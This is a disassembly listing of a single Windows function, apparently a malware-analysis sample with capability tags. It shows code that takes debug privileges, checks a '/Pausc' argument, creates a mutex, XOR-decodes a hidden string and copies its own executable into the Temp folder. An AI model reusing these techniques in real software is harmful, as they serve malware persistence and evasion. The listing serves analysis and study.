Function at 0x402c20
Capabilities:
Accept command line arguments
Acquire debug privileges
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a0
mov eax, dword [0x41a084]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call fcn.004010d0
test eax, eax
jne 0x402c43
jmp 0x402fc5
mov ecx, 8
mov esi, str.SeDebugPrivilege
lea edi, [ebp - 0x38]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [ebp - 0x250], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0x484], eax
lea eax, [ebp - 0x250]
push eax
mov ecx, dword [ebp - 0x484]
push ecx
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x24c], eax
call fcn.004026b0
call fcn.00402700
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x488], 0
cmp dword [ebp - 0x250], 2
jne 0x402d3e
mov edx, dword [ebp - 0x24c]
mov eax, dword [edx + 4]
mov dword [ebp - 0x490], eax
mov ecx, dword [ebp - 0x490]
add ecx, 2
mov dword [ebp - 0x494], ecx
mov edx, dword [ebp - 0x490]
mov ax, word [edx]
mov word [ebp - 0x496], ax
add dword [ebp - 0x490], 2
cmp word [ebp - 0x496], 0
jne 0x402cc9
mov ecx, dword [ebp - 0x490]
sub ecx, dword [ebp - 0x494]
sar ecx, 1
mov dword [ebp - 0x49c], ecx
push str._Pausc
mov edx, dword [ebp - 0x49c]
shl edx, 1
push edx
mov eax, dword [ebp - 0x24c]
mov ecx, dword [eax + 4]
push ecx
call fcn.00405770
add esp, 0xc
test eax, eax
je 0x402d3e
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00403f70
mov dword [ebp - 0x488], 1
jmp 0x402d56
cmp dword [ebp - 0x248], 0
je 0x402d56
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x41e294]
cmp dword [ebp - 0x488], 0
jne 0x402d6e
mov edx, dword [ebp - 0x484]
push edx
call fcn.00405d40
add esp, 4
mov dword [ebp - 0x244], 0
mov eax, dword [str.cYsYyCqPeViKeFfMzNiMkKaSvWsReNzK]
push eax
push 0
push 0
push 0
call dword [0x41e270]
mov dword [ebp - 0x48c], eax
mov byte [ebp - 0x14], 2
mov byte [ebp - 0x13], 0x1f
mov byte [ebp - 0x12], 0x17
mov byte [ebp - 0x11], 0xb
mov byte [ebp - 0x10], 8
mov byte [ebp - 0xf], 0x15
mov byte [ebp - 0xe], 2
mov byte [ebp - 0xd], 0x15
mov byte [ebp - 0xc], 0x49
mov byte [ebp - 0xb], 2
mov byte [ebp - 0xa], 0x1f
mov byte [ebp - 9], 2
mov byte [ebp - 8], 0
xor ecx, ecx
mov word [ebp - 0x480], cx
xor edx, edx
mov dword [ebp - 0x47e], edx
mov dword [ebp - 0x47a], edx
mov dword [ebp - 0x476], edx
mov dword [ebp - 0x472], edx
mov dword [ebp - 0x46e], edx
mov dword [ebp - 0x46a], edx
mov dword [ebp - 0x466], edx
mov dword [ebp - 0x462], edx
mov dword [ebp - 0x45e], edx
mov word [ebp - 0x45a], dx
push 0xc
push 0x67
lea eax, [ebp - 0x14]
push eax
call fcn.004048e0
add esp, 0xc
push 0x28
lea ecx, [ebp - 0x480]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x14]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp dword [ebp - 0x244], 0xff
jge 0x402e67
lea eax, [ebp - 0x480]
push eax
call fcn.00404f30
add esp, 4
test eax, eax
je 0x402e56
jmp 0x402e67
mov ecx, dword [ebp - 0x244]
add ecx, 1
mov dword [ebp - 0x244], ecx
jmp 0x402e35
push 0xa
push 0x64
mov edx, dword [0x41d0a4]
push edx
mov eax, dword [0x41d0a0]
push eax
push 0x41cf88
push 0
call fcn.004030d0
add esp, 0x18
xor ecx, ecx
mov word [ebp - 0x240], cx
push 0x206
push 0
lea edx, [ebp - 0x23e]
push edx
call fcn.0040e3a0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x458], ax
push 0x206
push 0
lea ecx, [ebp - 0x456]
push ecx
call fcn.0040e3a0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x458]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x208
lea eax, [ebp - 0x240]
push eax
push 0xffffffffffffffff
push 0x41d0a8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.vCTemp.data
lea ecx, [ebp - 0x240]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push 0
lea edx, [ebp - 0x240]
push edx
lea eax, [ebp - 0x458]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call fcn.00405640
test eax, eax
jne 0x402f49
push str._PauscUser
lea ecx, [ebp - 0x240]
push ecx
call fcn.004044f0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x41e294]
jmp 0x402fc5
call fcn.00402770
mov dword [0x41e3c4], 0
call fcn.00403280
call fcn.004021e0
cmp dword [ebp - 0x48c], 0
je 0x402fc5
push 0x4e20
mov edx, dword [ebp - 0x48c]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x4a0], eax
cmp dword [ebp - 0x4a0], 0
je 0x402f9a
cmp dword [ebp - 0x4a0], 0x102
je 0x402fb8
jmp 0x402fc5
mov eax, dword [ebp - 0x48c]
push eax
call dword [0x41e248]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x41e294]
jmp 0x402fc5
mov ecx, dword [ebp - 0x48c]
push ecx
call dword [0x41e248]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408266
mov esp, ebp
pop ebp
ret